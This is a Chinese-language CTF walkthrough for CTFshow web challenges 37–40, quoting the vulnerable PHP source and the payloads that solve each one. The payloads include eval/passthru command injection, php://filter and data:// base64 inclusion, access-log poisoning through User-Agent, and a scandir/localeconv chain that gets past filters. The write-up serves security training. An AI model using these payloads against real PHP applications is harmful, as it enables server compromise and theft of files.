CTFshow web(php命令执行 37-40)

?c=eval($_GET[shy]);&shy=passthru(‘cat flag.php’);      #逃逸过滤 

?c=include%09$_GET[shy]?>&shy=php://filter/read=convert.base64-encode/resource=flag.php        #文件包含

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php           #文件包含

?c=include$_GET[cmd]?>&cmd=data://text/plan,  #文件包含

?c=include$_GET[cmd]>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==        #文件包含

?c=data:text/plain; POST: 1=tac flag.php   #伪协议

?c=/var/log/nginx/access.log 在 User-Agent插入   #文件日志包含

?c=echo(`tac%09f*`);   #反引号

这里是刷题篇,以上命令的原理来自

一篇文章带你进阶CTF命令执行-CSDN博客

可以先磨下刀,刷题更稳

这里的payload:

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

CTFshow web(php命令执行 37-40)

include典型的文件包含,正好我之前写过类似的文章

文件包含提升-CSDN博客

直接照搬上去就好,这里不用phpinfo了,里面没有flag,直接换用

就好了,详细文件包含知识和原理在上面的文章

CTFshow web(php命令执行 37-40)

                                                                        web38

<?php

/*

# -*- coding: utf-8 -*-

# @Author: h1xa

# @Date:   2020-09-04 00:12:34

# @Last Modified by:   h1xa

# @Last Modified time: 2020-09-04 05:23:36

# @email: h1xa@ctfer.com

# @link: https://ctfer.com

*/

//flag in flag.php

error_reporting(0);

if(isset($_GET[‘c’])){

    $c = $_GET[‘c’];

    if(!preg_match(“/flag|php|file/i”, $c)){

        include($c);

        echo $flag;

    

    }

        

}else{

    highlight_file(__FILE__);

}

还是直接data伪协议读取就好了,这里没有禁用这个,那就

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

CTFshow web(php命令执行 37-40)

                                                                        web39

<?php

/*

# -*- coding: utf-8 -*-

# @Author: h1xa

# @Date:   2020-09-04 00:12:34

# @Last Modified by:   h1xa

# @Last Modified time: 2020-09-04 06:13:21

# @email: h1xa@ctfer.com

# @link: https://ctfer.com

*/

//flag in flag.php

error_reporting(0);

if(isset($_GET[‘c’])){

    $c = $_GET[‘c’];

    if(!preg_match(“/flag/i”, $c)){

        include($c.”.php”);

    }

        

}else{

    highlight_file(__FILE__);

}

                                                             

CTFshow web(php命令执行 37-40)

还想啥,直接丢命令上去                    

CTFshow web(php命令执行 37-40)

这里证明还是可以执行这个为协议读取phpinfo的,直接CTRL+f全局查找ctfshow这几个关键字,发现没有flag,不过没事,换个命令就好了

这里别让对面匹配到php,直接用星号或者?替换就好

CTFshow web(php命令执行 37-40)

                                                                        web40

<?php

/*

# -*- coding: utf-8 -*-

# @Author: h1xa

# @Date:   2020-09-04 00:12:34

# @Last Modified by:   h1xa

# @Last Modified time: 2020-09-04 06:03:36

# @email: h1xa@ctfer.com

# @link: https://ctfer.com

*/

if(isset($_GET[‘c’])){

    $c = $_GET[‘c’];

    if(!preg_match(“/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\’|\”|\,|\|\/|\?|\\\\/i”, $c)){

        eval($c);

    }

        

}else{

    highlight_file(__FILE__);

}

到这里把特殊符号和数字基本都过滤了,有点狠了,之前的命令没有用,现在该凭借能力审计代码了。‘

这里直接引用师傅的解释:

yu22x

先把payload写下 highlight_file(next(array_reverse(scandir(pos(localeconv())))));

需要用到的函数

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)

pos():返回数组中的当前元素的值。

array_reverse():数组逆序

scandir():获取目录下的文件

next(): 函数将内部指针指向数组中的下一个元素,并输出。

首先通过 pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以

scandir(pos(localeconv()))就能得到flag.php了。具体内容如下

CTFshow web(php命令执行 37-40)

CTFshow web(php命令执行 37-40)CTFshow web(php命令执行 37-40)CTFshow web(php命令执行 37-40)

真心希望文章能够帮助大家学习,谢谢!

本文来自网络,不代表协通编程立场,如若转载,请注明出处:https://www.net2asp.com/45db79d285.html